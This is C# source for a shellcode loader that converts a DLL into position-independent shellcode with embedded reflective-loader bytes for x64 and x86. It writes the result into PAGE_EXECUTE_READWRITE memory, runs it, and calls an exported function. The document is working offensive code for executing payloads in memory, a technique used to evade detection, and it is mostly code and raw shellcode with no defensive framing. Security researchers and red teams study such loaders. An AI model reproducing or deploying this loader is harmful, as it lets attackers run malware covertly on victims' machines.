static void Main(string[] args) { byte[] data = null; byte[] userData = System.Text.Encoding.Default.GetBytes("None\0"); if (args.Length < 1) { Console.WriteLine("\n[!] Usage:\n\n\tDotNetLoader.exe <DLL File>\n\tDotNetLoader.exe <Shellcode Bin>"); return; } try { data = System.IO.File.ReadAllBytes(args[0]); } catch { Console.WriteLine("\n[!] Failed to load file"); Environment.Exit(0); } byte[] shellcode; if (data[0] == 'M' && data[1] == 'Z') { // 0x30627745 - 'SayHello' - FunctionToHash.py shellcode = ConvertToShellcode(data, 0x30627745, userData); Console.WriteLine("[+] Converted DLL to shellcode"); } else { shellcode = data; } GCHandle scHandle = GCHandle.Alloc(shellcode, GCHandleType.Pinned); IntPtr scPointer = scHandle.AddrOfPinnedObject(); if (!Native.VirtualProtect(scPointer, (UIntPtr)shellcode.Length, Native.PAGE_EXECUTE_READWRITE, out uint flOldProtect)) { Console.WriteLine("[!] Failed to set memory flags"); return; } ReflectiveLoader reflectiveLoader = (ReflectiveLoader)Marshal.GetDelegateForFunctionPointer(scPointer, typeof(ReflectiveLoader)); Console.WriteLine("[+] Executing RDI"); IntPtr peLocation = reflectiveLoader(); IntPtr expFunctionLocation = PE.GetProcAddressR(peLocation, "SayGoodbye"); if (expFunctionLocation != IntPtr.Zero) { ExportedFunction exportedFunction = (ExportedFunction)Marshal.GetDelegateForFunctionPointer(expFunctionLocation, typeof(ExportedFunction)); GCHandle userDataHandle = GCHandle.Alloc(userData, GCHandleType.Pinned); IntPtr userDataPointer = userDataHandle.AddrOfPinnedObject(); Console.WriteLine("[+] Calling exported function"); exportedFunction(userDataPointer, (uint)userData.Length); } }
public static byte[] ConvertToShellcode(byte[] dllBytes, uint functionHash, byte[] userData) { #if DEBUG byte[] rdiShellcode64 = System.IO.File.ReadAllBytes("./ShellcodeRDI_x64.bin"); byte[] rdiShellcode32 = System.IO.File.ReadAllBytes("./ShellcodeRDI_x86.bin"); #else var rdiShellcode64 = new byte[] { 0xe9, 0x1b, 0x04, 0x00, 0x00, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x6c, 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, 0x48, 0x83, 0xec, 0x10, 0x65, 0x48, 0x8b, 0x04, 0x25, 0x60, 0x00, 0x00, 0x00, 0x8b, 0xf1, 0x33, 0xed, 0x48, 0x8b, 0x50, 0x18, 0x4c, 0x8b, 0x4a, 0x10, 0x4d, 0x8b, 0x41, 0x30, 0x4d, 0x85, 0xc0, 0x0f, 0x84, 0xb9, 0x00, 0x00, 0x00, 0x41, 0x0f, 0x10, 0x41, 0x58, 0x49, 0x63, 0x40, 0x3c, 0x4d, 0x8b, 0x09, 0x46, 0x8b, 0x9c, 0x00, 0x88, 0x00, 0x00, 0x00, 0x8b, 0xd5, 0xf3, 0x0f, 0x7f, 0x04, 0x24, 0x45, 0x85, 0xdb, 0x74, 0xd3, 0x48, 0x8b, 0x04, 0x24, 0x48, 0xc1, 0xe8, 0x10, 0x66, 0x3b, 0xe8, 0x73, 0x26, 0x48, 0x8b, 0x4c, 0x24, 0x08, 0x44, 0x0f, 0xb7, 0x54, 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0x0f, 0xbe, 0x01, 0xc1, 0xc9, 0x0d, 0x4c, 0x03, 0xce, 0x03, 0xc8, 0x41, 0x80, 0x79, 0xff, 0x00, 0x75, 0xed, 0x44, 0x3b, 0xe1, 0x74, 0x10, 0x03, 0xde, 0x49, 0x83, 0xc2, 0x04, 0x4d, 0x03, 0xc6, 0x41, 0x3b, 0xdb, 0x72, 0xd2, 0xeb, 0x2f, 0x41, 0x0f, 0xb7, 0x00, 0x83, 0xf8, 0xff, 0x74, 0x26, 0x8b, 0x52, 0x1c, 0xc1, 0xe0, 0x02, 0x48, 0x63, 0xc8, 0x48, 0x8d, 0x04, 0x0f, 0x48, 0x8b, 0x8c, 0x24, 0x80, 0x00, 0x00, 0x00, 0x44, 0x8b, 0x04, 0x02, 0x8b, 0x94, 0x24, 0x88, 0x00, 0x00, 0x00, 0x4c, 0x03, 0xc7, 0x41, 0xff, 0xd0, 0x48, 0x8b, 0xc7, 0x48, 0x83, 0xc4, 0x28, 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5d, 0x41, 0x5c, 0x5f, 0x5e, 0x5d, 0x5b, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0x56, 0x48, 0x8b, 0xf4, 0x48, 0x83, 0xe4, 0xf0, 0x48, 0x83, 0xec, 0x20, 0xe8, 0xdf, 0xfc, 0xff, 0xff, 0x48, 0x8b, 0xe6, 0x5e, 0xc3 }; var rdiShellcode32 = new byte[] { 0x55, 0x8b, 0xec, 0x83, 0xec, 0x18, 0x53, 0x56, 0x57, 0x68, 0x4c, 0x77, 0x26, 0x07, 0xe8, 0x44, 0x02, 0x00, 0x00, 0x89, 0x45, 0xf4, 0xc7, 0x04, 0x24, 0x49, 0xf7, 0x02, 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0x13, 0xe0, 0x89, 0x55, 0xf8, 0xeb, 0x03, 0x01, 0x55, 0xf8, 0x0f, 0xb7, 0x55, 0xee, 0xff, 0x45, 0xfc, 0x39, 0x55, 0xfc, 0x72, 0xd3, 0x83, 0x65, 0xfc, 0x00, 0x03, 0xf1, 0x8b, 0x56, 0x20, 0x8b, 0x7e, 0x18, 0x03, 0xd1, 0x85, 0xff, 0x74, 0x34, 0x8b, 0x3a, 0x03, 0xf9, 0x33, 0xdb, 0x83, 0xc2, 0x04, 0x89, 0x7d, 0xf4, 0x0f, 0xbe, 0x3f, 0xc1, 0xcb, 0x0d, 0x03, 0xdf, 0x8b, 0x7d, 0xf4, 0x47, 0x80, 0x7f, 0xff, 0x00, 0x89, 0x7d, 0xf4, 0x75, 0xeb, 0x03, 0x5d, 0xf8, 0x3b, 0x5d, 0x08, 0x74, 0x1d, 0xff, 0x45, 0xfc, 0x8b, 0x7d, 0xfc, 0x3b, 0x7e, 0x18, 0x72, 0xcc, 0x8b, 0x48, 0x18, 0x85, 0xc9, 0x0f, 0x85, 0x56, 0xff, 0xff, 0xff, 0x33, 0xc0, 0x5f, 0x5e, 0x5b, 0xc9, 0xc3, 0x8b, 0x55, 0xfc, 0x8b, 0x46, 0x24, 0x8d, 0x04, 0x50, 0x0f, 0xb7, 0x04, 0x08, 0x8b, 0x56, 0x1c, 0x8d, 0x04, 0x82, 0x8b, 0x04, 0x08, 0x03, 0xc1, 0xeb, 0xe1 }; #endif var newShellcode = new List <byte>(); if (PE.Is64BitDLL(dllBytes)) { var rdiShellcode = rdiShellcode64; int bootstrapSize = 34; // call next instruction (Pushes next instruction address to stack) newShellcode.Add(0xe8); newShellcode.Add(0x00); newShellcode.Add(0x00); newShellcode.Add(0x00); newShellcode.Add(0x00); //Here is where the we pop the address of our shellcode off the stack and into the first register // pop rcx newShellcode.Add(0x59); // mov r8, rcx - Backup our memory location to RCX before we start subtracting newShellcode.Add(0x49); newShellcode.Add(0x89); newShellcode.Add(0xc8); // Put the location of the DLL into RCX // add rcx, <Length of bootstrap> - 5 (For our call instruction) + <rdiShellcode Length> newShellcode.Add(0x48); newShellcode.Add(0x81); newShellcode.Add(0xc1); foreach (byte b in BitConverter.GetBytes((uint)(bootstrapSize - 5 + rdiShellcode.Length))) { newShellcode.Add(b); } // mov edx, <hash of function> newShellcode.Add(0xba); foreach (byte b in BitConverter.GetBytes((uint)functionHash)) { newShellcode.Add(b); } // Put the location of our user data in // add r8, (Size of bootstrap) + <Length of RDI Shellcode> + <Length of DLL> newShellcode.Add(0x49); newShellcode.Add(0x81); newShellcode.Add(0xc0); foreach (byte b in BitConverter.GetBytes((uint)(bootstrapSize - 5 + rdiShellcode.Length + dllBytes.Length))) { newShellcode.Add(b); } // mov r9d, <Length of User Data> newShellcode.Add(0x41); newShellcode.Add(0xb9); foreach (byte b in BitConverter.GetBytes((uint)userData.Length)) { newShellcode.Add(b); } //Write the rest of RDI foreach (byte b in rdiShellcode) { newShellcode.Add(b); } //Write our DLL dllBytes[0] = 0x00; dllBytes[1] = 0x00; foreach (byte b in dllBytes) { newShellcode.Add(b); } //Write our userdata foreach (byte b in userData) { newShellcode.Add(b); } } else // 32 Bit { var rdiShellcode = rdiShellcode32; int bootstrapSize = 40; // call next instruction (Pushes next instruction address to stack) newShellcode.Add(0xe8); newShellcode.Add(0x00); newShellcode.Add(0x00); newShellcode.Add(0x00); newShellcode.Add(0x00); //Here is where the we pop the address of our shellcode off the stack and into the first register // pop ecx newShellcode.Add(0x58); // mov ebx, eax - copy our location in memory to ebx before we start modifying eax newShellcode.Add(0x89); newShellcode.Add(0xc3); // Put the location of the DLL into ECX // add eax, <size of bootstrap> + <Size of RDI Shellcode> newShellcode.Add(0x05); foreach (byte b in BitConverter.GetBytes((uint)(bootstrapSize - 5 + rdiShellcode.Length))) { newShellcode.Add(b); } // add ebx, <size of bootstrap> + <Size of RDI Shellcode> + <Size of DLL> newShellcode.Add(0x81); newShellcode.Add(0xc3); foreach (byte b in BitConverter.GetBytes((uint)(bootstrapSize - 5 + rdiShellcode.Length + dllBytes.Length))) { newShellcode.Add(b); } //push <Length of User Data> newShellcode.Add(0x68); foreach (byte b in BitConverter.GetBytes((uint)userData.Length)) { newShellcode.Add(b); } // push ebx newShellcode.Add(0x53); // push <hash of function> newShellcode.Add(0x68); foreach (byte b in BitConverter.GetBytes((uint)functionHash)) { newShellcode.Add(b); } // push eax newShellcode.Add(0x50); // call instruction - We need to transfer execution to the RDI assembly this way (Skip over our next few op codes) newShellcode.Add(0xe8); newShellcode.Add(0x04); newShellcode.Add(0x00); newShellcode.Add(0x00); newShellcode.Add(0x00); // add esp, 0x10 - RDI pushes things to the stack it never removes, we need to make the correction ourselves newShellcode.Add(0x83); newShellcode.Add(0xc4); newShellcode.Add(0x10); // ret - because we used call earlier newShellcode.Add(0xc3); Console.WriteLine(BitConverter.ToString(newShellcode.ToArray()).Replace("-", string.Empty)); //Write the rest of RDI foreach (byte b in rdiShellcode) { newShellcode.Add(b); } //Write our DLL dllBytes[0] = 0x00; dllBytes[1] = 0x00; foreach (byte b in dllBytes) { newShellcode.Add(b); } //Write our userdata foreach (byte b in userData) { newShellcode.Add(b); } } return(newShellcode.ToArray()); }